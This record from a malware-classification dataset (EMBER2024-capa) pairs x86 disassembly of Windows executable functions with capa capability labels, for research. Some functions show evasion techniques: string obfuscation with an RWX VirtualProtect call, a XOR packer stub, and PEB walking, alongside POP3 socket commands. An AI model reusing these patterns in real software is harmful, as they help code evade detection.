joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ae40
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x38
cmp dword [0x483f04], 0x37
jne 0x40af14
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x4013c0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push 0x401474
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x401484
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
lea edx, [esp + 4]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp], 0
mov eax, dword [0x483f08]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x3c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x467360]
mov byte [ecx + eax], dl
add esp, 0x38
ret 4

Function at 0x40af80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x45cca8
mov byte [0x45cca9], al
mov byte [0x45ccaa], 0x72
mov byte [0x45ccb0], 0x2e
mov byte [0x45ccb1], 0x64
mov byte [0x45ccb2], cl
mov byte [0x45ccb4], 0
mov byte [0x45ccac], al
mov byte [0x45ccad], cl
mov byte [0x45ccae], 0x33
mov byte [0x45ccaf], 0x32
mov byte [0x45ccb3], al
mov byte [0x45ccab], 0x6e
mov byte [0x45cca8], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x483f04]
mov edx, dword [0x467360]
mov dword [0x48359c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x45ccb6], 0
mov byte [0x45ccaf], 0x50
mov byte [0x45ccad], 0x61
mov byte [0x45cca8], 0x60
mov byte [0x45ccb0], 0x7c
mov byte [0x45ccb1], 0x6f
mov byte [0x45ccb5], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40c740
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40c75f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40c766
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40c77d
mov ecx, dword [ebp - 4]
push ecx
call fcn.00412290
add esp, 4
or eax, 0xffffffff
jmp 0x40c77f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41a420
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45b7b4]
jne 0x41a42a
repz ret
jmp fcn.00422aa0
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43ea0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x43ea08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43ea08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cf44
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x38
call fcn.004054c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x3c
call fcn.004054c0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
add ecx, 0x4c
call fcn.004054c0
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x42f578
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x1c], 0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x20], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x24], 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x18], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x10], 0x4e20
mov edx, dword [ebp - 0x14]
mov dword [edx + 0xc], 0x800
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
add ecx, 1
push ecx
call fcn.00421d53
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x40], 0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x44], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x48], 0
push str.Waiting_for_POP3_Server_Respond
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.Waiting_Thread_Exit
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 8], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x401fad
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cfeb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
mov dword [ebp - 0x134], ecx
lea ecx, [ebp - 0x14]
call fcn.004054c0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x134]
cmp dword [eax + 0x1c], 0
jne 0x40203b
push ecx
mov ecx, esp
mov dword [ebp - 0x11c], esp
push 0x43a2ec
call fcn.004218f8
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x134]
call fcn.004012e9
mov dword [ebp - 0x120], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042188a
mov eax, dword [ebp - 0x120]
jmp 0x402141
mov ecx, dword [ebp - 0x134]
cmp dword [ecx + 0x20], 0
jne 0x40208f
push ecx
mov ecx, esp
mov dword [ebp - 0x124], esp
push 0x43a300
call fcn.004218f8
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x134]
call fcn.004012e9
mov dword [ebp - 0x128], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042188a
mov eax, dword [ebp - 0x128]
jmp 0x402141
push str.quit_r_n
lea edx, [ebp - 0x118]
push edx
call fcn.0040f9cb
add esp, 8
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.0040f950
add esp, 4
push eax
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x134]
mov eax, dword [edx + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x402102
push ecx
mov ecx, esp
mov dword [ebp - 0x12c], esp
push 0x43a318
call fcn.004218f8
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x134]
call fcn.004012e9
mov dword [ebp - 0x10], 0
jmp 0x402109
mov dword [ebp - 0x10], 1
mov ecx, dword [ebp - 0x134]
mov dword [ecx + 0x1c], 0
mov edx, dword [ebp - 0x134]
mov dword [edx + 0x20], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x130], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042188a
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4040db
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d16f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x150
mov dword [ebp - 0x144], ecx
lea ecx, [ebp - 0x10]
call fcn.004054c0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x144]
cmp dword [eax + 0x1c], 0
jne 0x404162
push ecx
mov ecx, esp
mov dword [ebp - 0x118], esp
push 0x43a6d8
call fcn.004218f8
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x11c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x11c]
jmp 0x40432e
mov ecx, dword [ebp - 0x144]
cmp dword [ecx + 0x20], 0
jne 0x4041b6
push ecx
mov ecx, esp
mov dword [ebp - 0x120], esp
push 0x43a6ec
call fcn.004218f8
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x124], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x124]
jmp 0x40432e
mov edx, dword [ebp + 8]
push edx
push str.dele__d_r_n
lea eax, [ebp - 0x114]
push eax
call fcn.0040f9cb
add esp, 0xc
push 0
lea ecx, [ebp - 0x114]
push ecx
call fcn.0040f950
add esp, 4
push eax
lea edx, [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0x24]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x404262
push ecx
mov ecx, esp
mov dword [ebp - 0x128], esp
push 0x43a708
call fcn.004218f8
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov edx, dword [ebp - 0x144]
mov dword [edx + 0x1c], 0
mov eax, dword [ebp - 0x144]
mov dword [eax + 0x20], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x12c]
jmp 0x40432e
push ecx
mov ecx, esp
mov dword [ebp - 0x130], esp
push 0x43a718
call fcn.004218f8
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 0x144]
call fcn.004026fb
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jne 0x4042ba
mov dword [ebp - 0x134], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x134]
jmp 0x40432e
push 0
push 0x2d
lea ecx, [ebp - 0x10]
call fcn.00421cd6
test eax, eax
jne 0x40430f
push ecx
mov ecx, esp
mov dword [ebp - 0x138], esp
push str.Delete_Mail_error_
call fcn.004218f8
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x13c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x13c]
jmp 0x40432e
mov dword [ebp - 0x140], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x40433e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d182
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x150
mov dword [ebp - 0x144], ecx
lea ecx, [ebp - 0x10]
call fcn.004054c0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x144]
cmp dword [eax + 0x1c], 0
jne 0x4043c5
push ecx
mov ecx, esp
mov dword [ebp - 0x118], esp
push str.Socket_not_Create_
call fcn.004218f8
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x11c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x11c]
jmp 0x40458d
mov ecx, dword [ebp - 0x144]
cmp dword [ecx + 0x20], 0
jne 0x404419
push ecx
mov ecx, esp
mov dword [ebp - 0x120], esp
push str.Not_Connected_
call fcn.004218f8
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x124], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x124]
jmp 0x40458d
push str.rset_r_n
lea edx, [ebp - 0x114]
push edx
call fcn.0040f9cb
add esp, 8
push 0
lea eax, [ebp - 0x114]
push eax
call fcn.0040f950
add esp, 4
push eax
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [edx + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4044c1
push ecx
mov ecx, esp
mov dword [ebp - 0x128], esp
push str.Socket_error_
call fcn.004218f8
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov ecx, dword [ebp - 0x144]
mov dword [ecx + 0x1c], 0
mov edx, dword [ebp - 0x144]
mov dword [edx + 0x20], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x12c]
jmp 0x40458d
push ecx
mov ecx, esp
mov dword [ebp - 0x130], esp
push 0x43a76c
call fcn.004218f8
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x144]
call fcn.004026fb
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jne 0x404519
mov dword [ebp - 0x134], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x134]
jmp 0x40458d
push 0
push 0x2d
lea ecx, [ebp - 0x10]
call fcn.00421cd6
test eax, eax
jne 0x40456e
push ecx
mov ecx, esp
mov dword [ebp - 0x138], esp
push str.Reset_Mail_error_
call fcn.004218f8
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x144]
call fcn.004012e9
mov dword [ebp - 0x13c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x13c]
jmp 0x40458d
mov dword [ebp - 0x140], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042188a
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x404ff0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0x40
push 0
mov eax, dword [ebp - 4]
add eax, 0x50
push eax
call fcn.0040ffe0
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x94], 0
mov edx, dword [ebp - 4]
mov dword [edx + 0x90], 0
mov eax, dword [ebp - 4]
mov dword [eax + 0x98], 0x67452301
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x9c], 0xefcdab89
mov edx, dword [ebp - 4]
mov dword [edx + 0xa0], 0x98badcfe
mov eax, dword [ebp - 4]
mov dword [eax + 0xa4], 0x10325476
mov esp, ebp
pop ebp
ret

Function at 0x414b9e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x43c2a8
cmp edx, dword [eax]
je 0x414bc0
add eax, 8
inc ecx
cmp eax, 0x43c338
jl 0x414bb1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x43c2a8]
jne 0x414cee
mov eax, dword [0x43ee3c]
cmp eax, 1
je 0x414cc8
test eax, eax
jne 0x414bf1
cmp dword [0x43b824], 1
je 0x414cc8
cmp edx, 0xfc
je 0x414cee
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x414c28
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00410140
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040f950
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x414c6b
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f950
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x431fc4
push edi
call fcn.00416e40
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00410140
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00410150
lea eax, [ebp - 0xa0]
push 0x431fa4
push eax
call fcn.00410150
push dword [esi + 0x43c2ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.00410150
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00417644
add esp, 0x2c
pop edi
jmp 0x414cee
lea eax, [ebp + 8]
lea esi, [esi + 0x43c2ac]
push 0
push eax
push dword [esi]
call fcn.0040f950
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x41f630
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00410640
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41f6fb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41f6fb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41f6ae
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41f6b9
or bh, 8
and edi, 0x8000000
je 0x41f6d4
mov eax, dword [0x440a7c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41f6fb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fad0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41fafb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41fb1f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41fb3a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x425659
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x42569b
call fcn.0042a09a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x42569b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x425692
xor eax, eax
jmp 0x4256a3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004256a9
pop edi
pop esi
pop ebx
ret 4

Function at 0x42a9da
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42aa08
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42aa26
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042a940
jmp 0x42aa26
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42aa26
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042a940
test edi, edi
mov eax, edi
jne 0x42aa10
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8